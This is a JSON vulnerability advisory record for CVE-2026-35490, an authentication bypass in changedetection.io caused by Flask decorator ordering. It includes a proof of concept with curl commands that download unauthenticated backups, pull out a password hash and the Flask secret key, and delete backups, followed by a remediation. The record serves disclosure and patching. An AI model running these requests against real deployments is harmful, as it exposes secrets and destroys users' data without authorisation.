{"id":"CVE-2026-35490","aliases":["GHSA-jmrh-xmgh-x9j4","PYSEC-2026-28"],"url":"https://o3.security/vulnerability/CVE-2026-35490","summary":"changedetection.io has an Authentication Bypass via Decorator Ordering","details":"### Summary\n\nOn 13 routes across 5 blueprint files, the `@login_optionally_required` decorator is placed **before** (outer to) `@blueprint.route()` instead of after it. In Flask, `@route()` must be the outermost decorator because it registers the function it receives. When the order is reversed, `@route()` registers the **original undecorated function**, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.\n\nThe developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.\n\n### Details\n\n**Correct order (used on 30+ routes):**\n```python\n@blueprint.route('/settings', methods=['GET'])\n@login_optionally_required\ndef settings():\n    ...\n```\n\n**Incorrect order (13 vulnerable routes):**\n```python\n@login_optionally_required          # ← Applied to return value of @route, NOT the view\n@blueprint.route('/backups/download/<filename>')  # ← Registers raw function\ndef download_backup(filename):\n    ...\n```\n\n## POC\n```\n=== PHASE 1: Confirm Authentication is Required ===\n\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/\nMain page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/settings\nSettings page: HTTP 302 (auth required, redirects to login)\n\nPassword is set. Unauthenticated requests to / and /settings\nare properly redirected to /login.\n\n=== PHASE 2: Authentication Bypass on Backup Routes ===\n(All requests made WITHOUT any session cookie)\n\n--- Exploit 1: Trigger backup creation ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/request-backup\nResponse: HTTP 302 -> http://127.0.0.1:5557/backups/\n(302 redirects to /backups/ listing page, NOT to /login -- backup was created)\n\n--- Exploit 2: List backups page ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/\nResponse: HTTP 200\n\n--- Exploit 3: Extract backup filenames ---\n$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup\nFound: changedetection-backup-20260331005425.zip\n\n--- Exploit 4: Download backup without authentication ---\n$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip\nResponse: HTTP 200\n\n$ file /tmp/stolen_backup.zip\n/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate\n\n$ ls -la /tmp/stolen_backup.zip\n-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip\n\n$ unzip -l /tmp/stolen_backup.zip\nArchive:  /tmp/stolen_backup.zip\n  Length      Date    Time    Name\n---------  ---------- -----   ----\n    26496  2026-03-31 00:54   url-watches.json\n       64  2026-03-31 00:52   secret.txt\n       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt\n     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br\n     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br\n       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br\n       73  2026-03-31 00:54   url-list.txt\n      155  2026-03-31 00:54   url-list-with-tags.txt\n---------                     -------\n   114721                     10 files\n\n--- Exploit 5: Extract sensitive data from backup ---\nApplication password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...\nWatched URLs:\n  - https://news.ycombinator.com/  (UUID: 4ff247a9...)\n  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)\n\nFlask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6\n\n--- Exploit 6: Delete all backups without auth ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/remove-backups\nResponse: HTTP 302\n\n=== PHASE 3: Cross-Verification ===\n\nVerify protected routes still require auth:\n  /         -> HTTP 302 (302 = protected)\n  /settings -> HTTP 302 (302 = protected)\n\n=== RESULTS ===\n\nPROTECTED routes (auth required, HTTP 302 -> /login):\n  /              HTTP 302\n  /settings      HTTP 302\n\nBYPASSED routes (no auth needed):\n  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)\n  /backups/                HTTP 200 (lists all backups)\n  /backups/download/<file> HTTP 200 (downloads backup with secrets)\n  /backups/remove-backups  HTTP 302 (deletes all backups)\n\n[+] CONFIRMED: Authentication bypass on backup routes!\n```\n\n### Impact\n\n- **Complete data exfiltration** — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration\n- **Backup restore = config injection** — Attacker can upload a malicious backup with crafted watch configs\n- **SSRF** — Proxy check endpoint can be triggered to scan internal network\n- **Browser session hijacking** — Browser steps endpoints allow controlling Playwright sessions\n\n### Remediation\n\nSwap the decorator order on all 13 routes. `@blueprint.route()` must be outermost:\n\n```python\n# Before (VULNERABLE):\n@login_optionally_required\n@blueprint.route('/backups/download/<filename>')\ndef download_backup(filename):\n\n# After (FIXED):\n@blueprint.route('/backups/download/<filename>')\n@login_optionally_required\ndef download_backup(filename):\n```","published":"2026-04-07T14:55:24.120Z","modified":"2026-10-28T02:30:33.136752989Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"changedetection-io","fixedVersion":"0.54.8"}],"fix":{"url":"https://github.com/dgtlmoon/changedetection.io/commit/31a760c2147e3e73a403baf6d7de34dc50429c85","label":"dgtlmoon/changedetection.io@31a760c"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35490.json"},{"type":"ADVISORY","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35490"},{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/commit/31a760c2147e3e73a403baf6d7de34dc50429c85"},{"type":"PACKAGE","url":"https://github.com/dgtlmoon/changedetection.io"},{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.8"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/changedetection-io/PYSEC-2026-28.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:33.136752989Z"}}